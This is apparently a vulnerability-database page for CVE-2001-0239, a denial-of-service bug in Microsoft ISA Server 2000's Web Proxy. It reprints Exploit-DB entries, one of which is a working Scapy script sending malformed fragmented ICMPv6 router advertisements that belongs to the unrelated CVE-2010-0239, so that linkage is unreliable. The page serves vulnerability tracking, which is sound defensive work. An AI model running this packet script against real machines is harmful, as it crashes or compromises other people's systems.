CVE-2001-0239
published 2001-07-02CVE-2001-0239: Microsoft Internet Security and Acceleration (ISA) Server 2000 Web Proxy allows remote attackers to cause a denial of service via a long web request with a…
PriorityP429high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
27.96%
97.9th percentile
Microsoft Internet Security and Acceleration (ISA) Server 2000 Web Proxy allows remote attackers to cause a denial of service via a long web request with a specific type.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | isa_server | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
exploitdb·2010-02-09
CVE-2010-0239 Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
Microsoft Windows Vista/2008 - ICMPv6 Router Advertisement Remote Code Execution
---
source: https://www.securityfocus.com/bid/38061/info
Microsoft Windows TCP/IP protocol implementation is prone to a remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful attacks will completely compromise affected computers. Failed exploit attempts will likely result in denial-of-service conditions.
v6_dst = ""
mac_dst = ""
pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)
l=fragment6(pkt, 1500)
for p in l:
sendp(Ether(dst=mac_dst)/p, iface="eth0")
Exploit-DB
Microsoft ISA Server 2000 Web Proxy - Denial of Service
exploitdb·2001-04-16
CVE-2001-0239 Microsoft ISA Server 2000 Web Proxy - Denial of Service
Microsoft ISA Server 2000 Web Proxy - Denial of Service
---
// source: https://www.securityfocus.com/bid/2600/info
It is possible for a user to cause the Web Proxy service on a host running MS ISA Server to stop responding.
If a HTTP request with an unusually long path is submitted, the Web Proxy service could stop responding.
This vulnerability is only exploitable from the internal network unless the Web Publishing service has been enabled, in which case it can be exploited from either internal or external networks. It is disabled by default.
A HTML email containing the malicious URL in an image tag or a javascript URL, could invoke a user's browser. An attempt to fulfill this request by the Web Proxy service, could instigate the denial of service condition on an internal users syst
No writeups or analysis indexed.
http://www.ciac.org/ciac/bulletins/l-073.shtmlhttp://www.securityfocus.com/archive/1/176912http://www.securityfocus.com/archive/1/177160http://www.securityfocus.com/archive/1/179986http://www.securityfocus.com/bid/2600https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-021https://exchange.xforce.ibmcloud.com/vulnerabilities/6383http://www.ciac.org/ciac/bulletins/l-073.shtmlhttp://www.securityfocus.com/archive/1/176912http://www.securityfocus.com/archive/1/177160http://www.securityfocus.com/archive/1/179986http://www.securityfocus.com/bid/2600https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-021https://exchange.xforce.ibmcloud.com/vulnerabilities/6383
2001-07-02
Published